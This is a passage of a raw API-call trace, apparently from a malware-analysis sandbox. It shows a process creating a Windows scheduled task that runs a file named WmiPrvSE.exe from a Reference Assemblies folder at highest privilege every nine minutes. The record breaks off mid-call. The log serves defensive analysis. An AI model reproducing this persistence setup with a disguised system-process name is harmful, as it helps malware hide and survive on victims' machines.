_Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.377] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.377] lstrlenW (lpString="|tr|") returned 4 [0089.377] lstrlenW (lpString="|f|") returned 3 [0089.377] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0089.377] SetLastError (dwErrCode=0x490) [0089.377] lstrlenW (lpString="st") returned 2 [0089.377] lstrlenW (lpString="st") returned 2 [0089.377] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.377] lstrlenW (lpString="f") returned 1 [0089.377] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.377] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|st|") returned 4 [0089.377] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.377] lstrlenW (lpString="|st|") returned 4 [0089.377] lstrlenW (lpString="|f|") returned 3 [0089.377] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0089.377] SetLastError (dwErrCode=0x490) [0089.377] lstrlenW (lpString="sd") returned 2 [0089.377] lstrlenW (lpString="sd") returned 2 [0089.377] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.377] lstrlenW (lpString="f") returned 1 [0089.377] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.377] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sd|") returned 4 [0089.377] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.377] lstrlenW (lpString="|sd|") returned 4 [0089.377] lstrlenW (lpString="|f|") returned 3 [0089.377] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0089.378] SetLastError (dwErrCode=0x490) [0089.378] lstrlenW (lpString="ed") returned 2 [0089.378] lstrlenW (lpString="ed") returned 2 [0089.378] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.378] lstrlenW (lpString="f") returned 1 [0089.378] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.378] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ed|") returned 4 [0089.378] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.378] lstrlenW (lpString="|ed|") returned 4 [0089.378] lstrlenW (lpString="|f|") returned 3 [0089.378] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0089.378] SetLastError (dwErrCode=0x490) [0089.378] lstrlenW (lpString="it") returned 2 [0089.378] lstrlenW (lpString="it") returned 2 [0089.378] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.378] lstrlenW (lpString="f") returned 1 [0089.378] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.378] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|it|") returned 4 [0089.378] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.378] lstrlenW (lpString="|it|") returned 4 [0089.378] lstrlenW (lpString="|f|") returned 3 [0089.378] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0089.378] SetLastError (dwErrCode=0x490) [0089.378] lstrlenW (lpString="et") returned 2 [0089.378] lstrlenW (lpString="et") returned 2 [0089.378] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.378] lstrlenW (lpString="f") returned 1 [0089.378] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.378] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|et|") returned 4 [0089.378] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.378] lstrlenW (lpString="|et|") returned 4 [0089.379] lstrlenW (lpString="|f|") returned 3 [0089.379] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0089.379] SetLastError (dwErrCode=0x490) [0089.379] lstrlenW (lpString="k") returned 1 [0089.379] lstrlenW (lpString="k") returned 1 [0089.379] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.379] lstrlenW (lpString="f") returned 1 [0089.379] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.379] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|k|") returned 3 [0089.379] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.379] lstrlenW (lpString="|k|") returned 3 [0089.379] lstrlenW (lpString="|f|") returned 3 [0089.379] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0089.379] SetLastError (dwErrCode=0x490) [0089.379] lstrlenW (lpString="du") returned 2 [0089.379] lstrlenW (lpString="du") returned 2 [0089.379] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.379] lstrlenW (lpString="f") returned 1 [0089.379] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.379] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|du|") returned 4 [0089.379] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.379] lstrlenW (lpString="|du|") returned 4 [0089.379] lstrlenW (lpString="|f|") returned 3 [0089.379] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0089.379] SetLastError (dwErrCode=0x490) [0089.379] lstrlenW (lpString="ri") returned 2 [0089.379] lstrlenW (lpString="ri") returned 2 [0089.379] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.379] lstrlenW (lpString="f") returned 1 [0089.379] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.379] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ri|") returned 4 [0089.379] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.380] lstrlenW (lpString="|ri|") returned 4 [0089.380] lstrlenW (lpString="|f|") returned 3 [0089.380] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0089.380] SetLastError (dwErrCode=0x490) [0089.380] lstrlenW (lpString="z") returned 1 [0089.380] lstrlenW (lpString="z") returned 1 [0089.380] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.380] lstrlenW (lpString="f") returned 1 [0089.380] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.380] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|z|") returned 3 [0089.380] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.380] lstrlenW (lpString="|z|") returned 3 [0089.380] lstrlenW (lpString="|f|") returned 3 [0089.380] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0089.380] SetLastError (dwErrCode=0x490) [0089.380] lstrlenW (lpString="f") returned 1 [0089.380] lstrlenW (lpString="f") returned 1 [0089.398] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.398] lstrlenW (lpString="f") returned 1 [0089.398] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.399] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.399] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.399] lstrlenW (lpString="|f|") returned 3 [0089.399] lstrlenW (lpString="|f|") returned 3 [0089.399] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0089.399] SetLastError (dwErrCode=0x0) [0089.399] SetLastError (dwErrCode=0x0) [0089.399] GetProcessHeap () returned 0x200000 [0089.399] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf10 [0089.399] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.399] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0089.399] lstrlenW (lpString="LIMITED") returned 7 [0089.399] GetProcessHeap () returned 0x200000 [0089.399] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x10) returned 0x21d700 [0089.399] GetThreadLocale () returned 0x409 [0089.399] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0089.399] GetProcessHeap () returned 0x200000 [0089.399] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cee0 [0089.399] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.399] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0089.399] lstrlenW (lpString="HIGHEST") returned 7 [0089.399] GetProcessHeap () returned 0x200000 [0089.399] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x10) returned 0x21d720 [0089.399] GetThreadLocale () returned 0x409 [0089.399] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0089.400] GetProcessHeap () returned 0x200000 [0089.400] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ceb0 [0089.400] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.400] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0089.400] lstrlenW (lpString="MINUTE") returned 6 [0089.400] GetProcessHeap () returned 0x200000 [0089.400] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d740 [0089.400] GetThreadLocale () returned 0x409 [0089.400] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0089.400] SetLastError (dwErrCode=0x0) [0089.400] GetProcessHeap () returned 0x200000 [0089.400] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x1fc) returned 0x21c4f0 [0089.400] GetProcessHeap () returned 0x200000 [0089.400] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce80 [0089.400] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.400] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0089.400] lstrlenW (lpString="First") returned 5 [0089.400] GetProcessHeap () returned 0x200000 [0089.400] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xc) returned 0x21d760 [0089.400] GetProcessHeap () returned 0x200000 [0089.400] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce50 [0089.400] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.400] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0089.400] lstrlenW (lpString="Second") returned 6 [0089.400] GetProcessHeap () returned 0x200000 [0089.400] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d780 [0089.400] GetProcessHeap () returned 0x200000 [0089.400] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce20 [0089.400] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.400] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0089.401] lstrlenW (lpString="Third") returned 5 [0089.401] GetProcessHeap () returned 0x200000 [0089.401] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xc) returned 0x21d7a0 [0089.401] GetProcessHeap () returned 0x200000 [0089.401] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cdf0 [0089.401] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.401] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0089.401] lstrlenW (lpString="Fourth") returned 6 [0089.401] GetProcessHeap () returned 0x200000 [0089.401] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d7c0 [0089.401] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.401] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0089.401] lstrlenW (lpString="Last") returned 4 [0089.401] GetProcessHeap () returned 0x200000 [0089.401] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xa) returned 0x21d7e0 [0089.401] lstrlenW (lpString="9") returned 1 [0089.401] _wtol (_String="9") returned 9 [0089.401] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.401] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0089.401] lstrlenW (lpString="First") returned 5 [0089.401] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.401] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0089.401] lstrlenW (lpString="Second") returned 6 [0089.401] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.401] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0089.401] lstrlenW (lpString="Third") returned 5 [0089.401] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.401] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0089.401] lstrlenW (lpString="Fourth") returned 6 [0089.402] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.402] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0089.402] lstrlenW (lpString="Last") returned 4 [0089.402] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c500, cchData=128 | out: lpLCData="0") returned 2 [0089.402] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.402] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0089.402] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0089.402] GetProcessHeap () returned 0x200000 [0089.402] GetProcessHeap () returned 0x200000 [0089.402] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d760) returned 1 [0089.402] GetProcessHeap () returned 0x200000 [0089.402] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d760) returned 0xc [0089.402] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d760 | out: hHeap=0x200000) returned 1 [0089.402] GetProcessHeap () returned 0x200000 [0089.402] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x16) returned 0x21d760 [0089.402] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c520, cchData=128 | out: lpLCData="0") returned 2 [0089.402] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.402] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0089.402] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0089.402] GetProcessHeap () returned 0x200000 [0089.402] GetProcessHeap () returned 0x200000 [0089.402] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d780) returned 1 [0089.402] GetProcessHeap () returned 0x200000 [0089.402] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d780) returned 0xe [0089.402] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d780 | out: hHeap=0x200000) returned 1 [0089.402] GetProcessHeap () returned 0x200000 [0089.402] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x16) returned 0x21d780 [0089.402] GetLocalTime (in: lpSystemTime=0x11c750 | out: lpSystemTime=0x11c750*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xd, wMilliseconds=0x2fc)) [0089.403] lstrlenW (lpString="") returned 0 [0089.403] GetLocalTime (in: lpSystemTime=0x11d008 | out: lpSystemTime=0x11d008*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xd, wMilliseconds=0x2fc)) [0089.403] lstrlenW (lpString="") returned 0 [0089.403] lstrlenW (lpString="") returned 0 [0089.403] lstrlenW (lpString="") returned 0 [0089.403] lstrlenW (lpString="") returned 0 [0089.403] lstrlenW (lpString="9") returned 1 [0089.403] _wtol (_String="9") returned 9 [0089.403] lstrlenW (lpString="") returned 0 [0089.403] lstrlenW (lpString="") returned 0 [0089.403] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0089.422] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0089.490] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x11cdd0 | out: ppv=0x11cdd0*=0x30dee0) returned 0x0 [0089.509] TaskScheduler:ITaskService:Connect (This=0x30dee0, serverName=0x11ceb0*(varType=0x8, wReserved1=0x11, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x11ce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x11ce90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11ce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0089.583] TaskScheduler:IUnknown:AddRef (This=0x30dee0) returned 0x2 [0089.583] TaskScheduler:ITaskService:GetFolder (in: This=0x30dee0, Path=0x0, ppFolder=0x11cf68 | out: ppFolder=0x11cf68*=0x1f7e50) returned 0x0 [0089.586] TaskScheduler:ITaskService:NewTask (in: This=0x30dee0, flags=0x0, ppDefinition=0x11cf60 | out: ppDefinition=0x11cf60*=0x1f7ea0) returned 0x0 [0089.586] ITaskDefinition:get_Actions (in: This=0x1f7ea0, ppActions=0x11cee0 | out: ppActions=0x11cee0*=0x1f6460) returned 0x0 [0089.586] IActionCollection:Create (in: This=0x1f6460, Type=0, ppAction=0x11cf00 | out: ppAction=0x11cf00*=0x1f67c0) returned 0x0 [0089.587] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.587] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.587] lstrlenW (lpString=" ") returned 1 [0089.587] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0089.587] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0089.587] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0089.587] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0089.588] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0089.588] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0089.589] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0089.589] IUnknown:Release (This=0x1f67c0) returned 0x1 [0089.589] IUnknown:Release (This=0x1f6460) returned 0x1 [0089.589] ITaskDefinition:get_Triggers (in: This=0x1f7ea0, ppTriggers=0x11ca60 | out: ppTriggers=0x11ca60*=0x1f7f60) returned 0x0 [0089.589] ITriggerCollection:Create (in: This=0x1f7f60, Type=1, ppTrigger=0x11ca58 | out: ppTrigger=0x11ca58*=0x1f6830) returned 0x0 [0089.589] lstrlenW (lpString="9") returned 1 [0089.589] _vsnwprintf (in: _Buffer=0x11c9e0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x11c9d8 | out: _Buffer="PT9M") returned 4 [0089.589] ITrigger:get_Repetition (in: This=0x1f6830, ppRepeat=0x11ca50 | out: ppRepeat=0x11ca50*=0x1f68c0) returned 0x0 [0089.589] IRepetitionPattern:put_Interval (This=0x1f68c0, Interval="PT9M") returned 0x0 [0089.590] IUnknown:Release (This=0x1f68c0) returned 0x1 [0089.590] _vsnwprintf (in: _Buffer=0x11c9a0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x11c978 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0089.590] ITrigger:put_StartBoundary (This=0x1f6830, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0089.590] lstrlenW (lpString="") returned 0 [0089.590] lstrlenW (lpString="") returned 0 [0089.590] lstrlenW (lpString="") returned 0 [0089.590] lstrlenW (lpString="") returned 0 [0089.590] IUnknown:Release (This=0x1f6830) returned 0x1 [0089.590] IUnknown:Release (This=0x1f7f60) returned 0x1 [0089.590] ITaskDefinition:get_Settings (in: This=0x1f7ea0, ppSettings=0x11cf00 | out: ppSettings=0x11cf00*=0x1f65a0) returned 0x0 [0089.590] lstrlenW (lpString="") returned 0 [0089.590] IUnknown:Release (This=0x1f65a0) returned 0x1 [0089.590] GetLocalTime (in: lpSystemTime=0x11cdb8 | out: lpSystemTime=0x11cdb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xd, wMilliseconds=0x3b8)) [0089.590] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0089.590] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0089.591] GetUserNameW (in: 